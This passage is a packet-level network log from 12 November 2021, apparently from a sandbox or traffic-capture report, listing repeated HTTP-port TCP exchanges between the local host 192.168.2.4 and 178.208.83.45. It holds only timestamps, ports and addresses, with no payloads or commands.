Nov 12, 2021 22:24:40.648751020 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648773909 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648797035 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648821115 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648844957 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648894072 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648919106 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648941994 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.670458078 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.670495987 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.671094894 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.671128988 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.671323061 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.671367884 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.671443939 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:44.022902966 CET	50195	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:44.022988081 CET	50199	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:44.135098934 CET	50214	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:44.157578945 CET	80	50214	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:44.157726049 CET	50214	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:44.168960094 CET	50214	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:44.192105055 CET	80	50214	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.373044968 CET	50215	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:45.397358894 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.397460938 CET	50215	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:45.398073912 CET	50215	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:45.398185968 CET	50215	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:45.398377895 CET	50215	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:45.398524046 CET	50215	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:45.420727968 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.420749903 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.420762062 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.420773983 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.420787096 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.420799017 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.420810938 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.420821905 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.420833111 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.420845032 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.420866013 CET	50215	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:45.420871019 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.420909882 CET	50215	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:45.420928001 CET	50215	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:45.420942068 CET	50215	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:45.423552990 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.423630953 CET	50215	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:45.443423033 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.443455935 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.443473101 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.443489075 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.443504095 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.443532944 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.443550110 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.443566084 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.443581104 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.443595886 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.443609953 CET	50215	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:45.443613052 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.443629026 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.443648100 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.443664074 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.443679094 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.443695068 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.443711042 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.443736076 CET	50215	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:45.443775892 CET	50215	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:45.443794966 CET	50215	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:45.445990086 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.446017027 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.446084976 CET	50215	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:45.446124077 CET	50215	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:45.466171980 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.466196060 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.466213942 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.466228008 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.466242075 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.466257095 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.466272116 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.466286898 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.466301918 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.466310978 CET	50215	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:45.466315985 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.466331959 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.466346979 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.466362953 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.466363907 CET	50215	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:45.466378927 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.466397047 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.466412067 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.466428041 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.466443062 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.466459036 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.466478109 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.466492891 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.466507912 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.466523886 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.466593027 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.466609001 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.466623068 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.466638088 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.466681957 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.466696978 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.466711998 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.466727972 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.467497110 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.467519045 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.467535973 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.468462944 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.468487024 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.468502045 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.468517065 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.489351034 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.489381075 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.489394903 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.489409924 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.489427090 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.489442110 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.489458084 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.489473104 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.489486933 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.489823103 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.489842892 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.489856958 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:45.489871979 CET	80	50215	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.178077936 CET	50215	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:48.178297997 CET	50214	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:48.291169882 CET	50216	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:48.313570976 CET	80	50216	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.313813925 CET	50216	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:48.314733982 CET	50216	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:48.337050915 CET	80	50216	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.729470968 CET	50217	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:48.755162954 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.756175995 CET	50217	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:48.757170916 CET	50217	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:48.757460117 CET	50217	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:48.757731915 CET	50217	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:48.757891893 CET	50217	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:48.780865908 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.780905008 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.780920982 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.780935049 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.780949116 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.780963898 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.780978918 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.780994892 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.781011105 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.781025887 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.781042099 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.781056881 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.781491041 CET	50217	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:48.781783104 CET	50217	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:48.804162979 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.804198027 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.804207087 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.804218054 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.804227114 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.804239035 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.804250002 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.804260969 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.804275990 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.804287910 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.804300070 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.804366112 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.804379940 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.804421902 CET	50217	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:48.804445982 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.804461956 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.804522038 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.804526091 CET	50217	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:48.804533958 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.804543018 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.804552078 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.804554939 CET	50217	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:48.804575920 CET	50217	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:48.804637909 CET	50217	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:48.826899052 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.826935053 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.826944113 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.826951981 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.826963902 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.826972961 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.826984882 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.826997995 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.827013969 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.827044010 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.827058077 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.827070951 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.827083111 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.827095985 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.827107906 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.827176094 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.827189922 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.827203035 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.827214956 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.827225924 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.827238083 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.827250004 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.827261925 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.827275038 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.827286959 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.827297926 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.827308893 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.827322006 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.827333927 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.827347040 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.827357054 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.827368975 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.827379942 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.827414036 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.827429056 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.831885099 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.841011047 CET	50217	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:48.841058969 CET	50217	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:48.864906073 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.864931107 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.864943027 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.864952087 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.864963055 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.864975929 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.864986897 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.864999056 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.865010977 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.865021944 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.865034103 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.865045071 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.865056992 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:48.865068913 CET	80	50217	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.349870920 CET	50217	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:52.349972010 CET	50216	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:52.467065096 CET	50218	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:52.489707947 CET	80	50218	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.489933014 CET	50218	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:52.491756916 CET	50218	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:52.514137030 CET	80	50218	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.820700884 CET	50219	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:52.843466997 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.843628883 CET	50219	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:52.844345093 CET	50219	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:52.844435930 CET	50219	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:52.844613075 CET	50219	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:52.844686031 CET	50219	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:52.844701052 CET	50219	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:52.866971970 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.867007017 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.867166042 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.867188931 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.867211103 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.867230892 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.867250919 CET	50219	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:52.867253065 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.867274046 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.867312908 CET	50219	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:52.867324114 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.867331028 CET	50219	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:52.867351055 CET	50219	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:52.867362022 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.867364883 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.867389917 CET	50219	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:52.867449045 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.867614031 CET	50219	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:52.867633104 CET	50219	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:52.890037060 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.890074015 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.890091896 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.890108109 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.890122890 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.890140057 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.890155077 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.890171051 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.890187025 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.890202999 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.890218019 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.890259981 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.890276909 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.890292883 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.890295982 CET	50219	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:52.890342951 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.890422106 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.890433073 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.890436888 CET	50219	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:52.890449047 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.890465021 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.890480995 CET	50219	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:52.890539885 CET	50219	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:52.913024902 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913053989 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913069963 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913085938 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913104057 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913119078 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913134098 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913151979 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913167000 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913182020 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913228035 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913244963 CET	50219	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:52.913270950 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913290024 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913292885 CET	50219	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:52.913307905 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913324118 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913340092 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913353920 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913366079 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913381100 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913395882 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913410902 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913428068 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913443089 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913460016 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913482904 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913547039 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913552999 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913570881 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913638115 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913650990 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913724899 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913739920 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913757086 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913774967 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913783073 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913909912 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913924932 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.913937092 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.936104059 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.936125994 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.936136961 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.936147928 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.936156034 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.936167002 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.936191082 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.936238050 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.936249018 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.936276913 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.936285019 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.936353922 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:52.936366081 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:53.516319990 CET	80	50218	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:53.516340971 CET	80	50218	178.208.83.45	192.168.2.4
